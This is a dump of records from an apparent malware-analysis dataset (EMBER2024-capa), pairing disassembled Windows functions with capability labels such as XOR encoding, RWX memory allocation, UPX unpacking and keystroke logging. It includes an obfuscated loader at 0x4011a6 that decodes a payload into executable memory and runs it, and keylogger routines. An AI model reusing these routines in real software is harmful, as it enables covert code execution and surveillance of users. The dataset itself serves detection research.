joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54c7cc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00534dc8
and dword [ebp - 4], 0
cmp dword [0x60d8c8], 0
mov ebx, eax
jne 0x54c87d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x54c92e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x54c92e
push eax
call fcn.00534d56
mov dword [esp], 0x59934c
push edi
mov dword [0x60d8c8], eax
call esi
push eax
call fcn.00534d56
mov dword [esp], 0x599338
push edi
mov dword [0x60d8cc], eax
call esi
push eax
call fcn.00534d56
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x60d8d0], eax
call esi
push eax
call fcn.00534d56
pop ecx
mov dword [0x60d8d8], eax
test eax, eax
je 0x54c87d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00534d56
pop ecx
mov dword [0x60d8d4], eax
mov eax, dword [0x60d8d4]
cmp eax, ebx
je 0x54c8d5
cmp dword [0x60d8d8], ebx
je 0x54c8d5
push eax
call fcn.00534dd1
push dword [0x60d8d8]
mov esi, eax
call fcn.00534dd1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x54c8d5
test edi, edi
je 0x54c8d5
call esi
test eax, eax
je 0x54c8cc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x54c8cc
test byte [ebp - 0xc], 1
jne 0x54c8d5
or dword [ebp + 0x10], 0x200000
jmp 0x54c90e
mov eax, dword [0x60d8cc]
cmp eax, ebx
je 0x54c90e
push eax
call fcn.00534dd1
pop ecx
test eax, eax
je 0x54c90e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x54c90e
mov eax, dword [0x60d8d0]
cmp eax, ebx
je 0x54c90e
push eax
call fcn.00534dd1
pop ecx
test eax, eax
je 0x54c90e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x60d8c8]
call fcn.00534dd1
pop ecx
test eax, eax
je 0x54c92e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x54c930
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x4011b5
pop dword [ebp - 0x40]
mov eax, 0x4011b5
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x4099bb3d
add dword [ebp - 0x50], 0xdb88a0e
mov dword [ebp - 0x4c], 0x84dcbe66
add dword [ebp - 0x4c], 0xad568ddf
mov dword [ebp - 0x48], 0x44da8367
add dword [ebp - 0x48], 0x771c0c7
mov dword [ebp - 0x44], 0x1537d0c5
add dword [ebp - 0x44], 0xeac82f3b
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xde7d21e8
add dword [ebp - 0x50], 0x95f5476e
mov dword [ebp - 0x4c], 0x1179437f
sub dword [ebp - 0x4c], 0xd00ce20a
mov dword [ebp - 0x48], 0x1652a974
sub dword [ebp - 0x48], 0xb2e33d08
mov dword [ebp - 0x44], 0x5fb76ec0
sub dword [ebp - 0x44], 0x5fb76ec0
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xc508c06f
add eax, 0x3b380fdd
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x35c6f
push 0
call eax
mov ecx, 0x73797c11
sub ecx, 0x73794320
xor edi, edi
add edi, eax
mov esi, 0x8d485f5c
add esi, 0x72f950a4
add esi, dword [ebp - 0x40]
mov ebx, 0x52452785
add ebx, 0xb65c86d9
xor dword [ebp - 0x2c], edi
mov edx, dword [esi]
mov dword [ebp - 0x18], 0x84fbea90
xor edx, ebx
mov dword [ebp - 0x10], 0x75e0557a
mov dword [edi], edx
xor dword [ebp - 0xc], 0x10df3939
add edi, 4
add esi, 0x6f651dd1
add esi, 0x909ae233
loop 0x4012cf
add eax, 0xd697
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x4f4bb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x86000]
push edi
jmp 0x4f4bca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4f4bd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4bc0
mov eax, 1
add ebx, ebx
jne 0x4f4be3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4f4bf4
jne 0x4f4c13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4c13
dec eax
add ebx, ebx
jne 0x4f4c00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4f4bd8
add ebx, ebx
jne 0x4f4c0f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4f4c65
xor ecx, ecx
sub eax, 3
jb 0x4f4c2b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4f4c9a
sar eax, 1
mov ebp, eax
jmp 0x4f4c36
add ebx, ebx
jne 0x4f4c36
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4c04
inc ecx
add ebx, ebx
jne 0x4f4c44
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4c04
add ebx, ebx
jne 0x4f4c51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4f4c46
jne 0x4f4c62
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4f4c46
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4f4c84
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4f4c76
jmp 0x4f4bc6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4f4c84
add edi, ecx
jmp 0x4f4bc6
pop esi
mov edi, esi
mov ecx, 0x3263
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4f4ca2
cmp byte [edi], 0x1e
jne 0x4f4ca2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4f4ca7
lea edi, [esi + 0xf1000]
mov eax, dword [edi]
or eax, eax
je 0x4f4d1f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf9820]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf9924]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4f4cd4
mov ecx, edi
jns 0x4f4d03
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf9928]
or eax, eax
je 0x4f4d19
mov dword [ebx], eax
add ebx, 4
jmp 0x4f4cf1
call dword [esi + 0xf9938]
mov ebp, dword [esi + 0xf992c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4f4d53
sub esp, 0xffffff80
jmp 0x467ab4
Function at 0x4032fc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x53e008], 0x8088405
inc edx
mov dword [ebx + 0x53e008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403e68
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x53e024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403f00
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x403ee0
xor eax, eax
push ebp
push 0x403ed9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403f38
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403ee0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x53e024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x53e024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404ff4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x542054], 0
je 0x405055
cmp word [0x542330], 0xd7b2
jne 0x40501d
cmp dword [0x542338], 0
jbe 0x40501d
mov eax, 0x54232c
call dword [0x542348]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x405080
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x53e030], 0
jne 0x405071
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x405200
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x53e034], 0
je 0x405226
mov edx, esi
mov eax, ebx
call dword [0x53e034]
jmp 0x405235
mov eax, 8
call fcn.00403018
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x542055], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4051c8
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc

Function at 0x406f50
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x406f92
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x406fb2
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.00406640
add esp, 0x41c
pop esi
pop ebx
ret
Function at 0x416390
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x544b68
push 0xa
push 0x416424
mov eax, dword [0x544b50]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x4163b4
call fcn.0041ef20
push ebx
mov eax, dword [0x544b50]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x4163cb
call fcn.0041ef20
push ebx
call sub.kernel32.dll_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x4163dd
call fcn.0041ef20
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x544b6c], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x544b70], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x544b74], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x544b78], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x544b7c], ecx
add edx, dword [eax + 0x14]
mov dword [0x544b80], edx
pop esi
pop ebx
ret

Function at 0x417a5c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x417b05
test eax, edx
je 0x417b08
push 0
push 0
cmp word [eax - 0xa], 2
je 0x417a85
push edx
mov edx, eax
mov eax, esp
call fcn.0040665c
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x417a9b
push eax
lea eax, [esp + 8]
call fcn.0040665c
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x417aaa
movzx eax, word [eax]
sub eax, ecx
jmp 0x417ad1
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x417aeb
add ecx, 4
js 0x417ac2
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x417ae8
push eax
mov eax, ecx
mov edx, 2
call fcn.004052a0
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x417acf
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x417ad1
xor eax, eax
ret
test eax, eax
je 0x417b18
test edx, edx
jne 0x417a6c
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x41c924
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41c95d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406584
jmp 0x41c966
mov eax, ebx
mov edx, esi
call fcn.00406448
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41c970
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41c992
movzx eax, word [esp]
jmp 0x41c994
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x41d11c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x41d241
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0041cf30
mov esi, eax
mov eax, dword [0x540f04]
cmp byte [eax], 0
je 0x41d1e9
mov eax, dword [0x540ba8]
call fcn.00403450
call fcn.00403180
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41d0f8]
call fcn.00408024
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x41d25c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x41d225
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x540b24]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x544b50]
call fcn.00408118
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d248
lea eax, [ebp - 4]
mov edx, dword [0x41d0f8]
call fcn.00408030
ret
Function at 0x41dea0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41df76
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040649c
lea eax, [ebp - 4]
call fcn.00406eb0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x41df60
mov eax, ebx
call fcn.00403018
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x41df59
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004064d4
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x41df43
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x41df88
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x41df43
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41df60
mov eax, dword [ebp - 0x10]
call fcn.00403034
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41df7d
lea eax, [ebp - 4]
call fcn.00406438
ret

Function at 0x41ed4f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040565c
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x41ed72
mov eax, edi
add eax, eax
call fcn.00403018
mov esi, eax
jmp 0x41ed74
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x41edad
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x41ed97
mov eax, esp
cmp esi, eax
je 0x41edba
mov eax, esi
call fcn.00403034
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x41edf4
cmp bl, 0
je 0x41edf0
cmp bl, 0x41
jl 0x41edeb
cmp bl, 0x5a
jg 0x41edeb
or bl, 0x20
xor al, bl
inc esi
jmp 0x41edcf
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x41ed34

Function at 0x420994
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
ret

Function at 0x4214cc
Capabilities:
Hash data using sha1

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
xor edx, edx
mov dword [eax + 0x14], edx
xor edx, edx
mov dword [eax + 0x18], edx
ret
Function at 0x437464
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.00437168
dec esi
jne 0x437486
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x43864c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x546ea4
cmp dword [edi], 0
jne 0x4386c8
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x546ea0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x53ef0c
mov ecx, 2
call fcn.004031d0
mov edx, 0x438624
lea eax, [esi + 5]
call fcn.00438644
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00438644
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43869d
mov dword [0x546ea0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x43b4d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.004064d4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
je 0x43b528
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x54109c]
mov dl, 1
mov eax, dword [0x43af50]
call fcn.0041d38c
call fcn.00404a74
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0043b0d8
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43c468
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x43c46e
ret
Function at 0x459bc4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
add esp, 0xfffffe00
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00406448
push 0
mov eax, esi
movzx eax, al
push eax
call sub.user32.dll_MapVirtualKeyW
shl eax, 0x10
test eax, eax
je 0x459c0b
push pe_nt_image_headers32
lea edx, [esp + 4]
push edx
push eax
call sub.user32.dll_GetKeyNameTextW
mov eax, ebx
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.00406640
add esp, 0x200
pop esi
pop ebx
ret
Function at 0x45f024
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45f15d
push dword fs:[eax]
mov dword fs:[eax], esp
mov word [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push eax
call sub.user32.dll_GetKeyboardLayoutNameW
mov dl, 1
mov eax, dword [0x43afc4]
call fcn.0043b100
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x45f133
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0043b1a0
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x20]
mov ecx, 0xa
call fcn.00406640
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 0x45f178
call fcn.00406914
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
call fcn.0043b204
test al, al
je 0x45f11d
lea ecx, [ebp - 4]
mov edx, 0x45f1ec
mov eax, dword [ebp - 0xc]
call fcn.0043b450
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0041f59c
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x45f116
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x45f204
mov eax, dword [ebp - 8]
push eax
call fcn.00409620
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x53fae0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f11d
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f13a
mov eax, dword [ebp - 0xc]
call fcn.00404098
ret

Function at 0x45f268
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x45f2af
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45f292
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45f2a3
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x45f2af
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret